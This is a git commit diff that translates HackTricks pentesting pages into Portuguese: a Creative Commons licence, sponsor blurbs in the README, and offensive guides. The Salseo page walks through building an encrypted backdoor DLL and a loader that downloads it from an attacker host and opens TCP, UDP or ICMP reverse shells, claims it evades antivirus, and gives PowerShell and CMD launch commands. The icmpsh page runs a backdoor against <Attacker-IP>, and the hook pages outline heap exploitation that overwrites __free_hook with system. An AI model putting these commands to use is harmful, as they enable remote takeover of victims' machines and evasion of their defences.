Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md

This commit is contained in:
Translator 2025-01-03 12:10:35 +00:00
parent d8f9584add
commit 9dd28dfcbd
282 changed files with 13126 additions and 16618 deletions

View File

@ -11,13 +11,13 @@ Formatação: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/
# Attribution-NonCommercial 4.0 International
Creative Commons Corporation (“Creative Commons”) não é um escritório de advocacia e não fornece serviços ou conselhos legais. A distribuição de licenças públicas da Creative Commons não cria uma relação advogado-cliente ou outra relação. A Creative Commons disponibiliza suas licenças e informações relacionadas em uma base "como está". A Creative Commons não oferece garantias em relação às suas licenças, qualquer material licenciado sob seus termos e condições, ou qualquer informação relacionada. A Creative Commons renuncia a toda responsabilidade por danos resultantes de seu uso na máxima extensão possível.
Creative Commons Corporation (“Creative Commons”) não é um escritório de advocacia e não fornece serviços jurídicos ou aconselhamento jurídico. A distribuição de licenças públicas da Creative Commons não cria uma relação advogado-cliente ou outra relação. A Creative Commons disponibiliza suas licenças e informações relacionadas em uma base "como está". A Creative Commons não oferece garantias em relação às suas licenças, qualquer material licenciado sob seus termos e condições, ou qualquer informação relacionada. A Creative Commons renuncia a toda responsabilidade por danos resultantes de seu uso na máxima extensão possível.
## Usando Licenças Públicas da Creative Commons
As licenças públicas da Creative Commons fornecem um conjunto padrão de termos e condições que criadores e outros detentores de direitos podem usar para compartilhar obras originais de autoria e outros materiais sujeitos a direitos autorais e certos outros direitos especificados na licença pública abaixo. As seguintes considerações são apenas para fins informativos, não são exaustivas e não fazem parte de nossas licenças.
- **Considerações para licenciadores:** Nossas licenças públicas são destinadas ao uso por aqueles autorizados a dar ao público permissão para usar material de maneiras que de outra forma seriam restritas por direitos autorais e certos outros direitos. Nossas licenças são irrevogáveis. Os licenciadores devem ler e entender os termos e condições da licença que escolhem antes de aplicá-la. Os licenciadores também devem garantir todos os direitos necessários antes de aplicar nossas licenças para que o público possa reutilizar o material conforme esperado. Os licenciadores devem marcar claramente qualquer material que não esteja sujeito à licença. Isso inclui outro material licenciado pela CC, ou material usado sob uma exceção ou limitação ao direito autoral. [Mais considerações para licenciadores](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
- **Considerações para licenciadores:** Nossas licenças públicas são destinadas ao uso por aqueles autorizados a dar ao público permissão para usar material de maneiras que de outra forma seriam restritas por direitos autorais e certos outros direitos. Nossas licenças são irrevogáveis. Os licenciadores devem ler e entender os termos e condições da licença que escolhem antes de aplicá-la. Os licenciadores também devem garantir todos os direitos necessários antes de aplicar nossas licenças para que o público possa reutilizar o material conforme esperado. Os licenciadores devem marcar claramente qualquer material não sujeito à licença. Isso inclui outro material licenciado pela CC, ou material usado sob uma exceção ou limitação ao direito autoral. [Mais considerações para licenciadores](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
- **Considerações para o público:** Ao usar uma de nossas licenças públicas, um licenciador concede ao público permissão para usar o material licenciado sob termos e condições especificados. Se a permissão do licenciador não for necessária por qualquer motivo por exemplo, devido a qualquer exceção ou limitação aplicável ao direito autoral então esse uso não é regulado pela licença. Nossas licenças concedem apenas permissões sob direitos autorais e certos outros direitos que um licenciador tem autoridade para conceder. O uso do material licenciado ainda pode ser restrito por outros motivos, incluindo porque outros têm direitos autorais ou outros direitos sobre o material. Um licenciador pode fazer solicitações especiais, como pedir que todas as alterações sejam marcadas ou descritas. Embora não seja exigido por nossas licenças, você é incentivado a respeitar essas solicitações quando razoável. [Mais considerações para o público](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
@ -71,7 +71,7 @@ A. **Oferta do Licenciador Material Licenciado.** Cada destinatário do Mate
B. **Sem restrições a jusante.** Você não pode oferecer ou impor quaisquer termos ou condições adicionais ou diferentes sobre, ou aplicar quaisquer Medidas Tecnológicas Eficazes ao, Material Licenciado se isso restringir o exercício dos Direitos Licenciados por qualquer destinatário do Material Licenciado.
6. **Nenhum endosse.** Nada nesta Licença Pública constitui ou pode ser interpretado como permissão para afirmar ou implicar que você está, ou que seu uso do Material Licenciado está, conectado com, ou patrocinado, endossado ou concedido status oficial pelo, Licenciador ou outros designados para receber atribuição conforme previsto na Seção 3(a)(1)(A)(i).
6. **Nenhum endosse.** Nada nesta Licença Pública constitui ou pode ser interpretado como permissão para afirmar ou implicar que você está, ou que seu uso do Material Licenciado está, conectado com, ou patrocinado, endossado ou concedido status oficial pelo, Licenciador ou outros designados para receber atribuição conforme fornecido na Seção 3(a)(1)(A)(i).
b. **_Outros direitos._**
@ -79,7 +79,7 @@ b. **_Outros direitos._**
2. Direitos de patente e marca registrada não são licenciados sob esta Licença Pública.
3. Na medida do possível, o Licenciador renuncia a qualquer direito de coletar royalties de você pelo exercício dos Direitos Licenciados, seja diretamente ou através de uma sociedade de cobrança sob qualquer esquema de licenciamento voluntário ou renunciável ou compulsório. Em todos os outros casos, o Licenciador reserva expressamente qualquer direito de coletar tais royalties, incluindo quando o Material Licenciado é usado de outra forma que não para fins Não Comerciais.
3. Na medida do possível, o Licenciador renuncia a qualquer direito de coletar royalties de você pelo exercício dos Direitos Licenciados, seja diretamente ou por meio de uma sociedade de cobrança sob qualquer esquema de licenciamento voluntário ou renunciável ou compulsório. Em todos os outros casos, o Licenciador reserva expressamente qualquer direito de coletar tais royalties, incluindo quando o Material Licenciado é usado de outra forma que não para fins Não Comerciais.
## Seção 3 Condições da Licença.
@ -109,7 +109,7 @@ C. indicar que o Material Licenciado é licenciado sob esta Licença Pública, e
3. Se solicitado pelo Licenciador, você deve remover qualquer uma das informações exigidas pela Seção 3(a)(1)(A) na medida razoavelmente prática.
4. Se você Compartilhar Material Adaptado que você produziu, a Licença do Adaptador que você aplica não deve impedir os destinatários do Material Adaptado de cumprir esta Licença Pública.
4. Se você Compartilhar Material Adaptado que produziu, a Licença do Adaptador que você aplica não deve impedir os destinatários do Material Adaptado de cumprir esta Licença Pública.
## Seção 4 Direitos de Banco de Dados Sui Generis.
@ -117,7 +117,7 @@ Onde os Direitos Licenciados incluem Direitos de Banco de Dados Sui Generis que
a. para evitar dúvidas, a Seção 2(a)(1) concede a você o direito de extrair, reutilizar, reproduzir e Compartilhar todo ou uma parte substancial do conteúdo do banco de dados apenas para fins Não Comerciais;
b. se você incluir todo ou uma parte substancial do conteúdo do banco de dados em um banco de dados no qual você possui Direitos de Banco de Dados Sui Generis, então o banco de dados no qual você possui Direitos de Banco de Dados Sui Generis (mas não seus conteúdos individuais) é Material Adaptado; e
b. se você incluir todo ou uma parte substancial do conteúdo do banco de dados em um banco de dados no qual você tem Direitos de Banco de Dados Sui Generis, então o banco de dados no qual você tem Direitos de Banco de Dados Sui Generis (mas não seu conteúdo individual) é Material Adaptado; e
c. você deve cumprir as condições na Seção 3(a) se você Compartilhar todo ou uma parte substancial do conteúdo do banco de dados.
@ -129,7 +129,7 @@ a. **A menos que de outra forma assumido separadamente pelo Licenciador, na medi
b. **Na medida do possível, em nenhuma circunstância o Licenciador será responsável a você sob qualquer teoria legal (incluindo, sem limitação, negligência) ou de outra forma por quaisquer perdas, custos, despesas ou danos diretos, especiais, indiretos, incidentais, consequenciais, punitivos, exemplares ou outros decorrentes desta Licença Pública ou do uso do Material Licenciado, mesmo que o Licenciador tenha sido avisado da possibilidade de tais perdas, custos, despesas ou danos. Onde uma limitação de responsabilidade não é permitida total ou parcialmente, esta limitação pode não se aplicar a você.**
c. A renúncia de garantias e a limitação de responsabilidade fornecidas acima serão interpretadas de uma maneira que, na medida do possível, mais se aproxima de uma renúncia absoluta e renúncia de toda responsabilidade.
c. A renúncia de garantias e a limitação de responsabilidade fornecidas acima serão interpretadas de uma maneira que, na medida do possível, mais se aproxime de uma renúncia absoluta e renúncia de toda responsabilidade.
## Seção 6 Prazo e Rescisão.
@ -141,7 +141,7 @@ b. Onde seu direito de usar o Material Licenciado foi encerrado sob a Seção 6(
2. mediante restabelecimento expresso pelo Licenciador.
Para evitar dúvidas, esta Seção 6(b) não afeta qualquer direito que o Licenciador possa ter de buscar remédios para suas violações desta Licença Pública.
Para evitar dúvidas, esta Seção 6(b) não afeta qualquer direito que o Licenciador possa ter de buscar remédios por suas violações desta Licença Pública.
c. Para evitar dúvidas, o Licenciador também pode oferecer o Material Licenciado sob termos ou condições separadas ou parar de distribuir o Material Licenciado a qualquer momento; no entanto, fazer isso não encerrará esta Licença Pública.

View File

@ -23,7 +23,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
[**STM Cyber**](https://www.stmcyber.com) é uma ótima empresa de cibersegurança cujo slogan é **HACK THE UNHACKABLE**. Eles realizam suas próprias pesquisas e desenvolvem suas próprias ferramentas de hacking para **oferecer vários serviços valiosos de cibersegurança** como pentesting, Red teams e treinamento.
Você pode conferir seu **blog** em [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** também apoia projetos de código aberto em cibersegurança como o HackTricks :)
@ -70,7 +70,7 @@ Acesse hoje:
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
- **Insights de Hacking:** Engaje-se com conteúdo que explora a emoção e os desafios do hacking
- **Insights de Hacking:** Envolva-se com conteúdo que mergulha na emoção e nos desafios do hacking
- **Notícias de Hack em Tempo Real:** Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
- **Últimos Anúncios:** Fique informado sobre os novos bug bounties lançados e atualizações cruciais da plataforma
@ -100,7 +100,7 @@ Uma assinatura de um dos planos da SerpApi inclui acesso a mais de 50 APIs difer
Ao contrário de outros provedores, **a SerpApi não apenas raspa resultados orgânicos**. As respostas da SerpApi incluem consistentemente todos os anúncios, imagens e vídeos inline, gráficos de conhecimento e outros elementos e recursos presentes nos resultados de busca.
Os atuais clientes da SerpApi incluem **Apple, Shopify e GrubHub**.\
Para mais informações, confira seu [**blog**](https://serpapi.com/blog/)**,** ou experimente um exemplo em seu [**playground**](https://serpapi.com/playground)**.**\
Para mais informações, confira o [**blog**](https://serpapi.com/blog/)** deles,** ou experimente um exemplo em seu [**playground**](https://serpapi.com/playground)**.**\
Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sign_up)**.**
---

View File

@ -868,3 +868,4 @@
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -1,31 +1,25 @@
{{#include ../banners/hacktricks-training.md}}
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
Baixe o backdoor de: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# Client side
# Lado do cliente
Execute the script: **run.sh**
**If you get some error, try to change the lines:**
Execute o script: **run.sh**
**Se você receber algum erro, tente mudar as linhas:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
```
**For:**
**Para:**
```bash
echo Please insert the IP where you want to listen
read IP
```
# **Lado da Vítima**
# **Victim Side**
Upload **icmpsh.exe** to the victim and execute:
Faça o upload de **icmpsh.exe** para a vítima e execute:
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,159 +2,142 @@
{{#include ../banners/hacktricks-training.md}}
## Compiling the binaries
## Compilando os binários
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
Baixe o código-fonte do github e compile **EvilSalsa** e **SalseoLoader**. Você precisará do **Visual Studio** instalado para compilar o código.
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).
Compile esses projetos para a arquitetura da máquina Windows onde você vai usá-los (Se o Windows suportar x64, compile-os para essa arquitetura).
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
Você pode **selecionar a arquitetura** dentro do Visual Studio na **aba "Build" à esquerda** em **"Platform Target".**
(\*\*If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**)
(\*\*Se você não encontrar essas opções, clique na **"Project Tab"** e depois em **"\<Project Name> Properties"**)
![](<../images/image (132).png>)
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
Em seguida, construa ambos os projetos (Build -> Build Solution) (Dentro dos logs aparecerá o caminho do executável):
![](<../images/image (1) (2) (1) (1) (1).png>)
## Prepare the Backdoor
## Preparar o Backdoor
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**:
Primeiro de tudo, você precisará codificar o **EvilSalsa.dll.** Para isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, agora você tem tudo o que precisa para executar toda a coisa do Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader.**
Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
**Faça o upload do binário SalseoLoader.exe para a máquina. Eles não devem ser detectados por nenhum AV...**
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
## **Executar o backdoor**
## **Execute the backdoor**
### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
### **Obtendo um shell reverso TCP (baixando dll codificada através de HTTP)**
Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor HTTP para servir o evilsalsa codificado.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Obtendo um shell reverso UDP (baixando dll codificada através do SMB)**
### **Getting a UDP reverse shell (downloading encoded dll through SMB)**
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor SMB para servir o evilsalsa codificado (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Obtendo um shell reverso ICMP (dll codificada já dentro da vítima)**
### **Getting a ICMP reverse shell (encoded dll already inside the victim)**
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Disable ICMP Replies:**
**Desta vez você precisa de uma ferramenta especial no cliente para receber o shell reverso. Baixe:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Desativar Respostas ICMP:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Execute the client:
#### Execute o cliente:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Inside the victim, lets execute the salseo thing:
#### Dentro da vítima, vamos executar a coisa do salseo:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Compilando SalseoLoader como DLL exportando a função principal
## Compiling SalseoLoader as DLL exporting main function
Abra o projeto SalseoLoader usando o Visual Studio.
Open the SalseoLoader project using Visual Studio.
### Add before the main function: \[DllExport]
### Adicione antes da função principal: \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Install DllExport for this project
### Instale DllExport para este projeto
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
#### **Ferramentas** --> **Gerenciador de Pacotes NuGet** --> **Gerenciar Pacotes NuGet para a Solução...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
#### **Pesquise pelo pacote DllExport (usando a aba Navegar) e pressione Instalar (e aceite o popup)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat**
Na sua pasta do projeto, apareceram os arquivos: **DllExport.bat** e **DllExport_Configure.bat**
### **U**ninstall DllExport
### **Des**instalar DllExport
Press **Uninstall** (yeah, its weird but trust me, it is necessary)
Pressione **Desinstalar** (sim, é estranho, mas confie em mim, é necessário)
![](<../images/image (5) (1) (1) (2) (1).png>)
### **Exit Visual Studio and execute DllExport_configure**
### **Saia do Visual Studio e execute DllExport_configure**
Just **exit** Visual Studio
Apenas **saia** do Visual Studio
Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat**
Em seguida, vá para sua **pasta SalseoLoader** e **execute DllExport_Configure.bat**
Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply**
Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi o meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace for DllExport**) e pressione **Aplicar**
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Open the project again with visual Studio**
### **Abra o projeto novamente com o Visual Studio**
**\[DllExport]** should not be longer marked as error
**\[DllExport]** não deve mais estar marcado como erro
![](<../images/image (8) (1).png>)
### Build the solution
### Compile a solução
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
Selecione **Tipo de Saída = Biblioteca de Classes** (Projeto --> Propriedades do SalseoLoader --> Aplicativo --> Tipo de saída = Biblioteca de Classes)
![](<../images/image (10) (1).png>)
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
Selecione **plataforma x64** (Projeto --> Propriedades do SalseoLoader --> Compilar --> Alvo da plataforma = x64)
![](<../images/image (9) (1) (1).png>)
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear)
Para **compilar** a solução: Compilar --> Compilar Solução (Dentro do console de saída, o caminho da nova DLL aparecerá)
### Test the generated Dll
### Teste a Dll gerada
Copy and paste the Dll where you want to test it.
Copie e cole a Dll onde você deseja testá-la.
Execute:
```
rundll32.exe SalseoLoader.dll,main
```
Se nenhum erro aparecer, provavelmente você tem um DLL funcional!!
If no error appears, probably you have a functional DLL!!
## Obter um shell usando o DLL
## Get a shell using the DLL
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
Não se esqueça de usar um **servidor** **HTTP** e configurar um **listener** **nc**
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
@ -163,9 +146,7 @@ $env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -174,5 +155,4 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
> [!TIP]
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
>
> </details>

View File

@ -1,3 +1 @@
# Arbitrary Write 2 Exec
# Escrita Arbitrária 2 Exec

View File

@ -4,34 +4,32 @@
## **Malloc Hook**
As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**.
Como você pode ver no [site oficial do GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), a variável **`__malloc_hook`** é um ponteiro que aponta para o **endereço de uma função que será chamada** sempre que `malloc()` for chamada **armazenada na seção de dados da biblioteca libc**. Portanto, se esse endereço for sobrescrito com um **One Gadget**, por exemplo, e `malloc` for chamada, o **One Gadget será chamado**.
To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap.
Para chamar malloc, é possível esperar que o programa a chame ou **chamando `printf("%10000$c")`**, que aloca muitos bytes, fazendo com que `libc` chame malloc para alocá-los na heap.
More info about One Gadget in:
Mais informações sobre One Gadget em:
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
> [!WARNING]
> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
> Note que hooks estão **desativados para GLIBC >= 2.34**. Existem outras técnicas que podem ser usadas em versões modernas do GLIBC. Veja: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
## Free Hook
This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack:
Isso foi abusado em um dos exemplos da página abusando de um ataque de fast bin após ter abusado de um ataque de unsorted bin:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
{{#endref}}
It's posisble to find the address of `__free_hook` if the binary has symbols with the following command:
É possível encontrar o endereço de `__free_hook` se o binário tiver símbolos com o seguinte comando:
```bash
gef➤ p &__free_hook
```
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
[No post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) você pode encontrar um guia passo a passo sobre como localizar o endereço do free hook sem símbolos. Em resumo, na função free:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 &#x3C;free>: push ebx
@ -45,26 +43,26 @@ gef➤ p &__free_hook
0xf75deddd &#x3C;free+29>: jne 0xf75dee50 &#x3C;free+144>
</code></pre>
In the mentioned break in the previous code in `$eax` will be located the address of the free hook.
No ponto de interrupção mencionado no código anterior, o endereço do free hook estará localizado em `$eax`.
Now a **fast bin attack** is performed:
Agora um **ataque de fast bin** é realizado:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- Primeiro de tudo, é descoberto que é possível trabalhar com **chunks de tamanho 200** na localização de **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Se conseguirmos obter um chunk rápido de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado.
- Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin.
- Em seguida, a função de edição é chamada neste chunk para modificar o endereço **`fd`** deste fast bin para apontar para a função **`__free_hook`** anterior.
- Depois, um chunk de tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho `0x1f8` é criado para obter um chunk do fast bin na **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
- E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de delete, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
## References
## Referências
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).

View File

@ -2,63 +2,63 @@
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **Informações Básicas**
### **GOT: Global Offset Table**
### **GOT: Tabela de Deslocamento Global**
The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved.
A **Tabela de Deslocamento Global (GOT)** é um mecanismo usado em binários vinculados dinamicamente para gerenciar os **endereços de funções externas**. Como esses **endereços não são conhecidos até o tempo de execução** (devido ao vínculo dinâmico), a GOT fornece uma maneira de **atualizar dinamicamente os endereços desses símbolos externos** uma vez que são resolvidos.
Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again.
Cada entrada na GOT corresponde a um símbolo nas bibliotecas externas que o binário pode chamar. Quando uma **função é chamada pela primeira vez, seu endereço real é resolvido pelo vinculador dinâmico e armazenado na GOT**. Chamadas subsequentes para a mesma função usam o endereço armazenado na GOT, evitando assim a sobrecarga de resolver o endereço novamente.
### **PLT: Procedure Linkage Table**
### **PLT: Tabela de Ligação de Procedimentos**
The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**.
A **Tabela de Ligação de Procedimentos (PLT)** trabalha em estreita colaboração com a GOT e serve como um trampolim para lidar com chamadas a funções externas. Quando um binário **chama uma função externa pela primeira vez, o controle é passado para uma entrada na PLT associada a essa função**. Esta entrada da PLT é responsável por invocar o vinculador dinâmico para resolver o endereço da função, caso ainda não tenha sido resolvido. Após o endereço ser resolvido, ele é armazenado na **GOT**.
